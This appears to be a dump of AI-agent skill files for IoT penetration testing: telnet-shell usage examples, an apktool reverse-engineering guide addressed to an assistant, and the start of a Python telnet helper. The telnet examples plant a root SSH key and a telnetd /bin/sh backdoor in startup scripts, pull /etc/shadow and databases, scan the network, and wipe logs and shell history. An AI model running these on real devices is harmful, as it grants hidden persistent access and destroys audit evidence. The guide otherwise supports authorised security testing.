Serving Firmware via HTTP 235 | 236 | ```bash 237 | # Start HTTP server on device 238 | python3 .claude/skills/telnetshell/telnet_helper.py \ 239 | --host 192.168.1.100 \ 240 | --port 2222 \ 241 | --command "cd /tmp && busybox httpd -p 8000" 242 | 243 | # Then download from your machine: 244 | # wget http://192.168.1.100:8000/mtd2ro 245 | ``` 246 | 247 | --- 248 | 249 | ## Persistence Establishment 250 | 251 | ### Example 12: Adding SSH Keys 252 | 253 | ```bash 254 | # Add your public key for persistent access 255 | YOUR_KEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... user@host" 256 | 257 | python3 .claude/skills/telnetshell/telnet_helper.py \ 258 | --host 192.168.1.100 \ 259 | --port 2222 \ 260 | --interactive <> /root/.ssh/authorized_keys 263 | chmod 700 /root/.ssh 264 | chmod 600 /root/.ssh/authorized_keys 265 | cat /root/.ssh/authorized_keys 266 | EOF 267 | ``` 268 | 269 | ### Example 13: Creating Startup Script 270 | 271 | ```bash 272 | # Add backdoor to startup 273 | cat > add_backdoor.txt <<'EOF' 274 | echo "telnetd -l /bin/sh -p 9999 &" >> /etc/init.d/rcS 275 | cat /etc/init.d/rcS 276 | EOF 277 | 278 | python3 .claude/skills/telnetshell/telnet_helper.py \ 279 | --host 192.168.1.100 \ 280 | --port 2222 \ 281 | --script add_backdoor.txt 282 | ``` 283 | 284 | --- 285 | 286 | ## Network Analysis 287 | 288 | ### Example 14: Mapping Network Services 289 | 290 | ```bash 291 | # Get all listening services 292 | python3 .claude/skills/telnetshell/telnet_helper.py \ 293 | --host 192.168.1.100 \ 294 | --port 2222 \ 295 | --command "netstat -tulpn" --json | \ 296 | jq -r '.output' | \ 297 | grep LISTEN 298 | ``` 299 | 300 | ### Example 15: Network Scanning from Device 301 | 302 | ```bash 303 | # Use the device to scan its local network 304 | cat > network_scan.txt <<'EOF' 305 | ping -c 1 192.168.1.1 306 | ping -c 1 192.168.1.254 307 | for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i && echo "Host 192.168.1.$i is up"; done 308 | EOF 309 | 310 | python3 .claude/skills/telnetshell/telnet_helper.py \ 311 | --host 192.168.1.100 \ 312 | --port 2222 \ 313 | --timeout 300 \ 314 | --script network_scan.txt > network_hosts.txt 315 | ``` 316 | 317 | --- 318 | 319 | ## Data Exfiltration 320 | 321 | ### Example 16: Extracting Configuration Files 322 | 323 | ```bash 324 | # Download all config files 325 | DEVICE="192.168.1.100" 326 | PORT="2222" 327 | FILES=( 328 | "/etc/passwd" 329 | "/etc/shadow" 330 | "/etc/network/interfaces" 331 | "/etc/config/network" 332 | "/etc/config/wireless" 333 | ) 334 | 335 | for file in "${FILES[@]}"; do 336 | echo "Extracting: $file" 337 | python3 .claude/skills/telnetshell/telnet_helper.py \ 338 | --host "$DEVICE" \ 339 | --port "$PORT" \ 340 | --command "cat $file" > "./extracted$(echo $file | tr '/' '_')" 341 | done 342 | ``` 343 | 344 | ### Example 17: Database Extraction 345 | 346 | ```bash 347 | # Find and extract databases 348 | python3 .claude/skills/telnetshell/telnet_helper.py \ 349 | --host 192.168.1.100 \ 350 | --port 2222 \ 351 | --timeout 30 \ 352 | --command "find / -name '*.db' -o -name '*.sqlite' 2>/dev/null" | \ 353 | while read dbfile; do 354 | echo "Found: $dbfile" 355 | python3 .claude/skills/telnetshell/telnet_helper.py \ 356 | --host 192.168.1.100 \ 357 | --port 2222 \ 358 | --command "cat $dbfile" > "./$(basename $dbfile)" 359 | done 360 | ``` 361 | 362 | --- 363 | 364 | ## Post-Exploitation 365 | 366 | ### Example 18: Interactive Shell Session 367 | 368 | ```bash 369 | # Drop into interactive shell for manual exploration 370 | python3 .claude/skills/telnetshell/telnet_helper.py \ 371 | --host 192.168.1.100 \ 372 | --port 2222 \ 373 | --logfile /tmp/manual_session.log \ 374 | --interactive 375 | 376 | # In another terminal, monitor: 377 | # tail -f /tmp/manual_session.log 378 | ``` 379 | 380 | ### Example 19: Automated Cleanup 381 | 382 | ```bash 383 | # Remove traces after testing (use responsibly!) 384 | cat > cleanup.txt <<'EOF' 385 | rm -f /tmp/* 386 | rm -f /var/log/* 387 | history -c 388 | EOF 389 | 390 | python3 .claude/skills/telnetshell/telnet_helper.py \ 391 | --host 192.168.1.100 \ 392 | --port 2222 \ 393 | --script cleanup.txt 394 | ``` 395 | 396 | ### Example 20: Comprehensive Pentest Workflow 397 | 398 | ```bash 399 | #!/bin/bash 400 | # Complete IoT camera penetration test workflow 401 | 402 | DEVICE="$1" 403 | PORT="${2:-2222}" 404 | REPORT_DIR="./pentest_$(date +%Y%m%d_%H%M%S)" 405 | HELPER="python3 .claude/skills/telnetshell/telnet_helper.py" 406 | 407 | mkdir -p "$REPORT_DIR" 408 | 409 | echo "[+] Starting penetration test on $DEVICE:$PORT" 410 | echo "[+] Report directory: $REPORT_DIR" 411 | 412 | # Phase 1: Reconnaissance 413 | echo "[1/5] Reconnaissance..." 414 | $HELPER --host "$DEVICE" --port "$PORT" --script .claude/skills/telnetshell/enum_system.txt > "$REPORT_DIR/01_system.txt" 415 | $HELPER --host "$DEVICE" --port "$PORT" --script .claude/skills/telnetshell/enum_network.txt > "$REPORT_DIR/02_network.txt" 416 | 417 | # Phase 2: Enumeration 418 | echo "[2/5] Enumeration..." 419 | $HELPER --host "$DEVICE" --port "$PORT" --script .claude/skills/telnetshell/enum_files.txt > "$REPORT_DIR/03_files.txt" 420 | $HELPER --host "$DEVICE" --port "$PORT" --command "ps aux" > "$REPORT_DIR/04_processes.txt" 421 | 422 | # Phase 3: Security Assessment 423 | echo "[3/5] Security Assessment..." 424 | $HELPER --host "$DEVICE" --port "$PORT" --script .claude/skills/telnetshell/enum_security.txt > "$REPORT_DIR/05_security.txt" 425 | $HELPER --host "$DEVICE" --port "$PORT" --timeout 30 --command "find / -perm -4000 2>/dev/null" > "$REPORT_DIR/06_suid.txt" 426 | 427 | # Phase 4: Firmware Analysis 428 | echo "[4/5] Firmware Analysis..." 429 | $HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/mtd" > "$REPORT_DIR/07_mtd_partitions.txt" 430 | $HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/partitions" > "$REPORT_DIR/08_partitions.txt" 431 | 432 | # Phase 5: Vulnerability Documentation 433 | echo "[5/5] Generating Report..." 434 | cat > "$REPORT_DIR/README.md" </dev/null" 495 | ``` 496 | 497 | ### Custom Prompt Detection 498 | 499 | ```bash 500 | # If output is being filtered incorrectly, specify custom prompt 501 | python3 .claude/skills/telnetshell/telnet_helper.py \ 502 | --host 192.168.1.100 \ 503 | --port 2222 \ 504 | --prompt "^MyDevice>\s*$" \ 505 | --command "help" 506 | ``` 507 | 508 | ### Debugging Issues 509 | 510 | ```bash 511 | # Use --debug and --raw to see exactly what's happening 512 | python3 .claude/skills/telnetshell/telnet_helper.py \ 513 | --host 192.168.1.100 \ 514 | --port 2222 \ 515 | --command "ls /" \ 516 | --debug \ 517 | --raw 518 | ``` 519 | 520 | --- 521 | 522 | ## Additional Resources 523 | 524 | - See `SKILL.md` for complete documentation 525 | - See `OBSERVING_SESSIONS.md` for session monitoring guide 526 | - Check enumeration script templates in the skill directory 527 | - Review session logs in `/tmp/telnet_session.log` 528 | -------------------------------------------------------------------------------- /.claude/skills/apktool/SKILL.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Apktool 3 | description: Android APK unpacking and resource extraction tool for reverse engineering. Use when you need to decode APK files, extract resources, examine AndroidManifest.xml, analyze smali code, or repackage modified APKs. 4 | --- 5 | 6 | # Apktool - Android APK Unpacking and Resource Extraction 7 | 8 | You are helping the user reverse engineer Android APK files using apktool for security analysis, vulnerability discovery, and understanding app internals. 9 | 10 | ## Tool Overview 11 | 12 | Apktool is a tool for reverse engineering Android APK files. It can decode resources to nearly original form and rebuild them after modifications. It's essential for: 13 | - Extracting readable AndroidManifest.xml 14 | - Decoding resources (XML layouts, strings, images) 15 | - Disassembling DEX to smali code 16 | - Analyzing app structure and permissions 17 | - Repackaging modified APKs 18 | 19 | ## Prerequisites 20 | 21 | - **apktool** must be installed on the system 22 | - Java Runtime Environment (JRE) required 23 | - Sufficient disk space (unpacked APK is typically 2-5x original size) 24 | - Write permissions in output directory 25 | 26 | ## Instructions 27 | 28 | ### 1. Basic APK Unpacking (Most Common) 29 | 30 | When the user asks to unpack, decode, or analyze an APK: 31 | 32 | **Standard decode command:** 33 | ```bash 34 | apktool d -o 35 | ``` 36 | 37 | **Example:** 38 | ```bash 39 | apktool d app.apk -o app-unpacked 40 | ``` 41 | 42 | **With force overwrite (if directory exists):** 43 | ```bash 44 | apktool d app.apk -o app-unpacked -f 45 | ``` 46 | 47 | ### 2. Understanding Output Structure 48 | 49 | After unpacking, the output directory contains: 50 | 51 | ``` 52 | app-unpacked/ 53 | ├── AndroidManifest.xml # Readable manifest (permissions, components) 54 | ├── apktool.yml # Apktool metadata (version info, SDK levels) 55 | ├── original/ # Original META-INF certificates 56 | │ └── META-INF/ 57 | ├── res/ # Decoded resources 58 | │ ├── layout/ # XML layouts 59 | │ ├── values/ # Strings, colors, dimensions 60 | │ ├── drawable/ # Images and drawables 61 | │ └── ... 62 | ├── smali/ # Disassembled DEX code (smali format) 63 | │ └── com/company/app/ # Package structure 64 | ├── assets/ # App assets (if present) 65 | ├── lib/ # Native libraries (if present) 66 | │ ├── arm64-v8a/ 67 | │ ├── armeabi-v7a/ 68 | │ └── ... 69 | └── unknown/ # Files apktool couldn't classify 70 | ``` 71 | 72 | ### 3. Selective Decoding (Performance Optimization) 73 | 74 | **Skip resources (code analysis only):** 75 | ```bash 76 | apktool d app.apk -o app-code-only -r 77 | # or 78 | apktool d app.apk -o app-code-only --no-res 79 | ``` 80 | - Faster processing 81 | - Only extracts smali code and manifest 82 | - Use when you only need to analyze code logic 83 | 84 | **Skip source code (resource analysis only):** 85 | ```bash 86 | apktool d app.apk -o app-resources-only -s 87 | # or 88 | apktool d app.apk -o app-resources-only --no-src 89 | ``` 90 | - Faster processing 91 | - Only extracts resources and manifest 92 | - Use when you only need resources, strings, layouts 93 | 94 | ### 4. Common Analysis Tasks 95 | 96 | #### A. Examining AndroidManifest.xml 97 | 98 | The manifest reveals critical security information: 99 | 100 | ```bash 101 | # After unpacking 102 | cat app-unpacked/AndroidManifest.xml 103 | ``` 104 | 105 | **Look for:** 106 | - **Permissions**: What device features/data the app accesses 107 | - **Exported components**: Activities, services, receivers accessible from other apps 108 | - **Intent filters**: How the app responds to system/app intents 109 | - **Backup settings**: `android:allowBackup="true"` (security risk) 110 | - **Debuggable flag**: `android:debuggable="true"` (major security issue) 111 | - **Network security config**: Custom certificate pinning, cleartext traffic 112 | - **Min/Target SDK versions**: Outdated versions may have vulnerabilities 113 | 114 | **Example analysis commands:** 115 | ```bash 116 | # Find all permissions 117 | grep "uses-permission" app-unpacked/AndroidManifest.xml 118 | 119 | # Find exported components 120 | grep "exported=\"true\"" app-unpacked/AndroidManifest.xml 121 | 122 | # Check if debuggable 123 | grep "debuggable" app-unpacked/AndroidManifest.xml 124 | 125 | # Find all activities 126 | grep "android:name.*Activity" app-unpacked/AndroidManifest.xml 127 | ``` 128 | 129 | #### B. Extracting Strings and Resources 130 | 131 | ```bash 132 | # View all string resources 133 | cat app-unpacked/res/values/strings.xml 134 | 135 | # Search for API keys, URLs, credentials 136 | grep -r "api" app-unpacked/res/values/ 137 | grep -r "http" app-unpacked/res/values/ 138 | grep -r "password\|secret\|key\|token" app-unpacked/res/values/ 139 | 140 | # Find hardcoded URLs in resources 141 | grep -rE "https?://" app-unpacked/res/ 142 | ``` 143 | 144 | #### C. Analyzing Smali Code 145 | 146 | Smali is the disassembled Dalvik bytecode format: 147 | 148 | ```bash 149 | # Find specific class 150 | find app-unpacked/smali -name "*Login*.smali" 151 | find app-unpacked/smali -name "*Auth*.smali" 152 | 153 | # Search for security-relevant code 154 | grep -r "crypto\|encrypt\|decrypt" app-unpacked/smali/ 155 | grep -r "http\|https\|url" app-unpacked/smali/ 156 | grep -r "password\|credential\|token" app-unpacked/smali/ 157 | 158 | # Find native library usage 159 | grep -r "System.loadLibrary" app-unpacked/smali/ 160 | 161 | # Find file operations 162 | grep -r "openFileOutput\|openFileInput" app-unpacked/smali/ 163 | ``` 164 | 165 | **Note**: Smali is harder to read than Java source. Consider using jadx for Java decompilation for easier analysis. 166 | 167 | #### D. Examining Native Libraries 168 | 169 | ```bash 170 | # List native libraries 171 | ls -lah app-unpacked/lib/ 172 | 173 | # Check architectures supported 174 | ls app-unpacked/lib/ 175 | 176 | # Identify library types 177 | file app-unpacked/lib/arm64-v8a/*.so 178 | 179 | # Search for interesting strings in libraries 180 | strings app-unpacked/lib/arm64-v8a/libnative.so | grep -i "http\|key\|password" 181 | ``` 182 | 183 | ### 5. Repackaging APK (Build) 184 | 185 | After modifying resources or smali code: 186 | 187 | ```bash 188 | apktool b app-unpacked -o app-modified.apk 189 | ``` 190 | 191 | **Important**: Rebuilt APKs must be signed before installation: 192 | ```bash 193 | # Generate keystore (one-time setup) 194 | keytool -genkey -v -keystore my-release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-key-alias 195 | 196 | # Sign APK 197 | jarsigner -verbose -keystore my-release-key.jks app-modified.apk my-key-alias 198 | 199 | # Verify signature 200 | jarsigner -verify app-modified.apk 201 | 202 | # Zipalign (optimization) 203 | zipalign -v 4 app-modified.apk app-modified-aligned.apk 204 | ``` 205 | 206 | ### 6. Framework Management 207 | 208 | For system apps or apps dependent on device manufacturer frameworks: 209 | 210 | ```bash 211 | # Install framework 212 | apktool if framework-res.apk 213 | 214 | # List installed frameworks 215 | apktool list-frameworks 216 | 217 | # Decode with specific framework 218 | apktool d -t app.apk 219 | ``` 220 | 221 | ## Common Workflows 222 | 223 | ### Workflow 1: Security Analysis 224 | 225 | ```bash 226 | # 1. Unpack APK 227 | apktool d target.apk -o target-unpacked 228 | 229 | # 2. Examine manifest for security issues 230 | cat target-unpacked/AndroidManifest.xml 231 | 232 | # 3. Search for hardcoded credentials 233 | grep -r "password\|api_key\|secret\|token" target-unpacked/res/ 234 | 235 | # 4. Check for debuggable flag 236 | grep "debuggable" target-unpacked/AndroidManifest.xml 237 | 238 | # 5. Find exported components 239 | grep "exported=\"true\"" target-unpacked/AndroidManifest.xml 240 | 241 | # 6. Examine network security config 242 | cat target-unpacked/res/xml/network_security_config.xml 2>/dev/null 243 | ``` 244 | 245 | ### Workflow 2: IoT App Analysis 246 | 247 | For IoT companion apps, find device communication details: 248 | 249 | ```bash 250 | # 1. Unpack APK 251 | apktool d iot-app.apk -o iot-app-unpacked 252 | 253 | # 2. Search for device endpoints 254 | grep -rE "https?://[^\"']+" iot-app-unpacked/res/ | grep -v "google\|android" 255 | 256 | # 3. Find API keys 257 | grep -r "api\|key" iot-app-unpacked/res/values/strings.xml 258 | 259 | # 4. Locate device communication code 260 | find iot-app-unpacked/smali -name "*Device*.smali" 261 | find iot-app-unpacked/smali -name "*Network*.smali" 262 | find iot-app-unpacked/smali -name "*Api*.smali" 263 | 264 | # 5. Check for certificate pinning 265 | grep -r "certificatePinner\|TrustManager" iot-app-unpacked/smali/ 266 | ``` 267 | 268 | ### Workflow 3: Resource Extraction Only 269 | 270 | ```bash 271 | # Fast resource-only extraction 272 | apktool d app.apk -o app-resources -s 273 | 274 | # Extract app icon 275 | cp app-resources/res/mipmap-xxxhdpi/ic_launcher.png ./ 276 | 277 | # Extract strings for localization 278 | cat app-resources/res/values*/strings.xml 279 | 280 | # Extract layouts for UI analysis 281 | ls app-resources/res/layout/ 282 | ``` 283 | 284 | ### Workflow 4: Quick Code Check (No Resources) 285 | 286 | ```bash 287 | # Fast code-only extraction 288 | apktool d app.apk -o app-code -r 289 | 290 | # Analyze smali quickly 291 | grep -r "http" app-code/smali/ | head -20 292 | grep -r "password" app-code/smali/ 293 | ``` 294 | 295 | ## Output Formats 296 | 297 | Apktool doesn't have built-in output format options, but you can structure your analysis: 298 | 299 | **For human-readable reports:** 300 | ```bash 301 | # Generate analysis report 302 | { 303 | echo "=== APK Analysis Report ===" 304 | echo "APK: app.apk" 305 | echo "Date: $(date)" 306 | echo "" 307 | echo "=== Permissions ===" 308 | grep "uses-permission" app-unpacked/AndroidManifest.xml 309 | echo "" 310 | echo "=== Exported Components ===" 311 | grep "exported=\"true\"" app-unpacked/AndroidManifest.xml 312 | echo "" 313 | echo "=== Package Info ===" 314 | grep "package=" app-unpacked/AndroidManifest.xml 315 | } > apk-analysis-report.txt 316 | ``` 317 | 318 | ## Integration with IoTHackBot Tools 319 | 320 | Apktool works well with other analysis workflows: 321 | 322 | 1. **APK → Network Analysis**: 323 | - Extract API endpoints from resources 324 | - Use extracted URLs with curl/wget for testing 325 | - Feed endpoints to network testing tools 326 | 327 | 2. **APK → Credential Discovery**: 328 | - Find hardcoded credentials in resources 329 | - Test credentials against IoT devices 330 | - Use with onvifscan or other device testing tools 331 | 332 | 3. **APK → Code Analysis**: 333 | - Extract smali code with apktool 334 | - Decompile to Java with jadx for easier reading 335 | - Cross-reference findings between both tools 336 | 337 | ## Best Practices 338 | 339 | ### 1. Always Examine the Manifest First 340 | 341 | ```bash 342 | apktool d app.apk -o app-unpacked 343 | cat app-unpacked/AndroidManifest.xml | less 344 | ``` 345 | 346 | The manifest provides the roadmap for further analysis. 347 | 348 | ### 2. Use Selective Decoding for Speed 349 | 350 | - Code only: `-r` flag 351 | - Resources only: `-s` flag 352 | - Full decode: No flags (default) 353 | 354 | ### 3. Search Systematically 355 | 356 | ```bash 357 | # Create analysis script 358 | cat > analyze.sh << 'EOF' 359 | #!/bin/bash 360 | APK_DIR="$1" 361 | echo "[+] Searching for URLs..." 362 | grep -rE "https?://" "$APK_DIR/res/" | grep -v "schema\|google\|android" 363 | echo "[+] Searching for API keys..." 364 | grep -ri "api.*key\|apikey" "$APK_DIR/res/" 365 | echo "[+] Searching for secrets..." 366 | grep -ri "secret\|password\|credential" "$APK_DIR/res/" 367 | EOF 368 | chmod +x analyze.sh 369 | ./analyze.sh app-unpacked 370 | ``` 371 | 372 | ### 4. Document Your Findings 373 | 374 | Keep notes on: 375 | - APK package name and version 376 | - Interesting permissions 377 | - Hardcoded credentials/URLs 378 | - Exported components 379 | - Security misconfigurations 380 | 381 | ### 5. Combine with Jadx 382 | 383 | Use both tools together: 384 | - **Apktool**: For resources, manifest, and detailed smali 385 | - **Jadx**: For readable Java source code 386 | 387 | ## Troubleshooting 388 | 389 | ### Problem: "brut.directory.DirectoryException: Framework" 390 | 391 | **Solution**: Install framework resources: 392 | ```bash 393 | apktool if 394 | ``` 395 | 396 | ### Problem: Decoding fails with resource errors 397 | 398 | **Solution**: Use `--keep-broken-res` flag: 399 | ```bash 400 | apktool d app.apk -o output --keep-broken-res 401 | ``` 402 | 403 | ### Problem: "Input file was not found or was not readable" 404 | 405 | **Solution**: Check file path and permissions: 406 | ```bash 407 | ls -l app.apk 408 | file app.apk # Should show "Zip archive data" 409 | ``` 410 | 411 | ### Problem: Out of memory error 412 | 413 | **Solution**: Increase Java heap size: 414 | ```bash 415 | export _JAVA_OPTIONS="-Xmx2048m" 416 | apktool d large-app.apk 417 | ``` 418 | 419 | ### Problem: Build fails after modifications 420 | 421 | **Solution**: Validate your smali/XML syntax: 422 | ```bash 423 | # Check for syntax errors 424 | apktool b app-unpacked -o test.apk --use-aapt2 425 | ``` 426 | 427 | ### Problem: APK won't install after repackaging 428 | 429 | **Solution**: Sign the APK: 430 | ```bash 431 | jarsigner -verbose -keystore debug.keystore rebuilt.apk androiddebugkey 432 | ``` 433 | 434 | ## Important Notes 435 | 436 | - Apktool requires Java Runtime Environment (JRE) 437 | - Decoded APKs are typically 2-5x larger than original 438 | - Smali code is more verbose than Java source (use jadx for Java) 439 | - Always work on copies of APK files, never originals 440 | - Repackaging requires signing before installation 441 | - Some obfuscated apps may have unreadable class/method names 442 | - System apps may require framework installation 443 | 444 | ## Security and Ethics 445 | 446 | **IMPORTANT**: Only analyze APKs you own or have permission to analyze. 447 | 448 | - Respect intellectual property and licensing 449 | - Follow responsible disclosure for vulnerabilities 450 | - Don't distribute modified APKs without authorization 451 | - Be aware of terms of service and EULAs 452 | - Use for authorized security testing and research only 453 | 454 | ## Example Analysis Session 455 | 456 | ```bash 457 | # Complete analysis workflow 458 | TARGET="myapp.apk" 459 | OUTPUT="myapp-analysis" 460 | 461 | # 1. Unpack 462 | echo "[+] Unpacking APK..." 463 | apktool d "$TARGET" -o "$OUTPUT" 464 | 465 | # 2. Basic info 466 | echo "[+] Package info:" 467 | grep "package=" "$OUTPUT/AndroidManifest.xml" 468 | 469 | # 3. Permissions 470 | echo "[+] Permissions:" 471 | grep "uses-permission" "$OUTPUT/AndroidManifest.xml" 472 | 473 | # 4. Exported components 474 | echo "[+] Exported components:" 475 | grep "exported=\"true\"" "$OUTPUT/AndroidManifest.xml" 476 | 477 | # 5. Search for secrets 478 | echo "[+] Searching for hardcoded secrets..." 479 | grep -r "api.*key\|password\|secret" "$OUTPUT/res/" | grep -v "^Binary" 480 | 481 | # 6. Find URLs 482 | echo "[+] Finding URLs..." 483 | grep -rE "https?://[^\"']+" "$OUTPUT/res/" | grep -v "schema\|xmlns" 484 | 485 | # 7. Check debuggable 486 | echo "[+] Debug status:" 487 | grep "debuggable" "$OUTPUT/AndroidManifest.xml" || echo "Not debuggable (good)" 488 | 489 | # 8. Summary 490 | echo "[+] Analysis complete. Output in: $OUTPUT/" 491 | ``` 492 | 493 | ## Success Criteria 494 | 495 | A successful apktool analysis includes: 496 | 497 | - APK successfully decoded without errors 498 | - AndroidManifest.xml is readable and analyzed 499 | - Resources extracted and searchable 500 | - Smali code available for inspection 501 | - Security-relevant findings documented 502 | - Output organized in clear directory structure 503 | - Any modifications can be repackaged if needed 504 | 505 | ## Quick Reference 506 | 507 | ```bash 508 | # Decode (unpack) 509 | apktool d -o 510 | 511 | # Decode with force overwrite 512 | apktool d -o -f 513 | 514 | # Decode without resources (faster) 515 | apktool d -o -r 516 | 517 | # Decode without source (faster) 518 | apktool d -o -s 519 | 520 | # Build (repack) 521 | apktool b -o 522 | 523 | # Install framework 524 | apktool if 525 | 526 | # Empty framework cache 527 | apktool empty-framework-dir 528 | ``` 529 | -------------------------------------------------------------------------------- /.claude/skills/telnetshell/telnet_helper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | Telnet Helper for IoT Device Remote Shell Interaction 4 | Provides clean command execution and output parsing for telnet-accessible devices. 5 | """ 6 | 7 | import pexpect 8 | import time 9 | import argparse 10 | import sys 11 | import re 12 | import json 13 | from typing import Optional, List, Tuple 14 | from datetime import datetime 15 | 16 | 17 | class TelnetHelper: 18 | """ 19 | Helper class for interacting with telnet shell devices. 20 | Handles connection, command execution, prompt detection, and output cleaning. 21 | """ 22 | 23 | # Common prompt patterns for IoT devices 24 | DEFAULT_PROMPT_PATTERNS = [ 25 | r'/\s*[#\$]\s*$', # / # or / $ 26 | r'^User@[^>]+>\s*$', # User@/root> 27 | r'^root@[a-zA-Z0-9_-]+[#\$]\s*$', # root@device# or root@device$ 28 | r'^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+[:#\$]\s*$', # user@host: or # 29 | r'^\s*>\s*$', # Generic > 30 | r'^[#\$]\s*$', # Standalone # or $ 31 | r'BusyBox\s+v[0-9.]+', # BusyBox prompt 32 | r'login:\s*$', # Login prompt 33 | r'Password:\s*$', # Password prompt 34 | ] 35 | 36 | def __init__(self, host: str, port: int = 23, timeout: float = 3.0, 37 | prompt_pattern: Optional[str] = None, debug: bool = False, 38 | logfile: Optional[str] = None): 39 | """ 40 | Initialize telnet helper. 41 | 42 | Args: 43 | host: Target host IP or hostname 44 | port: Telnet port (default: 23) 45 | timeout: Read timeout in seconds (default: 3.0) 46 | prompt_pattern: Custom regex pattern for prompt detection 47 | debug: Enable debug output 48 | logfile: Optional file path to log all I/O 49 | """ 50 | self.host = host 51 | self.port = port 52 | self.timeout = timeout 53 | self.debug = debug 54 | self.conn = None 55 | self.detected_prompt = None 56 | self.logfile = None 57 | self.logfile_handle = None 58 | 59 | # Setup prompt patterns 60 | if prompt_pattern: 61 | self.prompt_patterns = [prompt_pattern] 62 | else: 63 | self.prompt_patterns = self.DEFAULT_PROMPT_PATTERNS 64 | 65 | # Track command history 66 | self.command_history = [] 67 | 68 | # Setup logfile path 69 | self.logfile = logfile 70 | 71 | # Open logfile if specified 72 | if logfile: 73 | try: 74 | self.logfile_handle = open(logfile, 'a', buffering=1) # Line buffered 75 | self._log(f"\n{'='*60}\n") 76 | self._log(f"Session started: {datetime.now().isoformat()}\n") 77 | self._log(f"Target: {host}:{port}\n") 78 | self._log(f"{'='*60}\n") 79 | except IOError as e: 80 | print(f"Warning: Could not open logfile {logfile}: {e}", file=sys.stderr) 81 | self.logfile_handle = None 82 | 83 | def _debug_print(self, msg: str): 84 | """Print debug message if debug mode is enabled.""" 85 | if self.debug: 86 | print(f"[DEBUG] {msg}", file=sys.stderr) 87 | 88 | def _log(self, data: str): 89 | """Write data to logfile if enabled.""" 90 | if self.logfile_handle: 91 | self.logfile_handle.write(data) 92 | self.logfile_handle.flush() 93 | 94 | def connect(self) -> bool: 95 | """ 96 | Establish telnet connection. 97 | 98 | Returns: 99 | True if connection successful, False otherwise 100 | """ 101 | try: 102 | self._debug_print(f"Connecting to {self.host}:{self.port}...") 103 | 104 | # Spawn telnet connection 105 | cmd = f"telnet {self.host} {self.port}" 106 | self.conn = pexpect.spawn(cmd, timeout=self.timeout, encoding='utf-8') 107 | 108 | # Setup logfile if enabled 109 | if self.logfile_handle: 110 | self.conn.logfile_read = self.logfile_handle 111 | 112 | # Give connection a moment to establish 113 | time.sleep(0.5) 114 | 115 | # Send newline to get initial prompt 116 | self.conn.sendline("") 117 | time.sleep(0.5) 118 | 119 | # Try to detect prompt 120 | try: 121 | # Read any initial output 122 | self.conn.expect(self.prompt_patterns, timeout=2.0) 123 | initial_output = self.conn.before + self.conn.after 124 | self._detect_prompt(initial_output) 125 | except (pexpect.TIMEOUT, pexpect.EOF): 126 | # If no prompt detected yet, that's okay 127 | pass 128 | 129 | self._debug_print(f"Connected successfully. Detected prompt: {self.detected_prompt}") 130 | return True 131 | 132 | except Exception as e: 133 | print(f"Error connecting to {self.host}:{self.port}: {e}", file=sys.stderr) 134 | return False 135 | 136 | def disconnect(self): 137 | """Close telnet connection.""" 138 | if self.conn: 139 | try: 140 | self._debug_print("Disconnecting...") 141 | self.conn.close() 142 | except: 143 | pass 144 | self.conn = None 145 | 146 | if self.logfile_handle: 147 | self._log(f"\n{'='*60}\n") 148 | self._log(f"Session ended: {datetime.now().isoformat()}\n") 149 | self._log(f"{'='*60}\n\n") 150 | self.logfile_handle.close() 151 | self.logfile_handle = None 152 | 153 | def _send_raw(self, data: str): 154 | """Send raw data to telnet connection.""" 155 | if self.conn: 156 | self.conn.send(data) 157 | 158 | def _detect_prompt(self, text: str): 159 | """ 160 | Detect prompt pattern in text. 161 | 162 | Args: 163 | text: Text to search for prompt 164 | """ 165 | lines = text.split('\n') 166 | for line in reversed(lines): 167 | line = line.strip() 168 | if line: 169 | for pattern in self.prompt_patterns: 170 | if re.search(pattern, line): 171 | self.detected_prompt = pattern 172 | self._debug_print(f"Detected prompt pattern: {self.detected_prompt}") 173 | return 174 | 175 | def _clean_output(self, raw_output: str, command: str) -> str: 176 | """ 177 | Clean command output by removing echoes, prompts, and ANSI codes. 178 | 179 | Args: 180 | raw_output: Raw output from telnet 181 | command: Command that was sent 182 | 183 | Returns: 184 | Cleaned output 185 | """ 186 | # Remove ANSI escape codes 187 | ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])') 188 | cleaned = ansi_escape.sub('', raw_output) 189 | 190 | # Remove carriage returns 191 | cleaned = cleaned.replace('\r', '') 192 | 193 | # Split into lines 194 | lines = cleaned.split('\n') 195 | 196 | # Remove empty lines and prompts 197 | result_lines = [] 198 | for line in lines: 199 | line = line.rstrip() 200 | 201 | # Skip empty lines 202 | if not line.strip(): 203 | continue 204 | 205 | # Skip lines that are just the command echo 206 | if line.strip() == command.strip(): 207 | continue 208 | 209 | # Skip lines that match prompt patterns 210 | is_prompt = False 211 | for pattern in self.prompt_patterns: 212 | if re.search(pattern, line): 213 | is_prompt = True 214 | break 215 | if is_prompt: 216 | continue 217 | 218 | result_lines.append(line) 219 | 220 | return '\n'.join(result_lines) 221 | 222 | def send_command(self, command: str, timeout: Optional[float] = None, 223 | clean: bool = True) -> Tuple[str, bool]: 224 | """ 225 | Send command and wait for output. 226 | 227 | Args: 228 | command: Command to send 229 | timeout: Optional custom timeout 230 | clean: Whether to clean the output (remove echoes, prompts) 231 | 232 | Returns: 233 | Tuple of (output, success) 234 | """ 235 | if not self.conn: 236 | return "", False 237 | 238 | self._debug_print(f"Sending command: {command}") 239 | 240 | timeout_val = timeout if timeout is not None else self.timeout 241 | 242 | try: 243 | # Send command 244 | self.conn.sendline(command) 245 | 246 | # Give command time to execute and output to accumulate 247 | time.sleep(0.2) 248 | 249 | # Wait for prompt 250 | index = self.conn.expect(self.prompt_patterns + [pexpect.TIMEOUT, pexpect.EOF], timeout=timeout_val) 251 | 252 | # Check if we got a prompt (not timeout or EOF) 253 | prompt_found = index < len(self.prompt_patterns) 254 | 255 | # Get the output (before is everything before the matched pattern) 256 | raw_output = self.conn.before 257 | if prompt_found: 258 | # After is the matched prompt 259 | raw_output += self.conn.after 260 | 261 | self._debug_print(f"Raw output length: {len(raw_output)}") 262 | 263 | # Track command 264 | self.command_history.append({ 265 | 'command': command, 266 | 'timestamp': datetime.now().isoformat(), 267 | 'success': 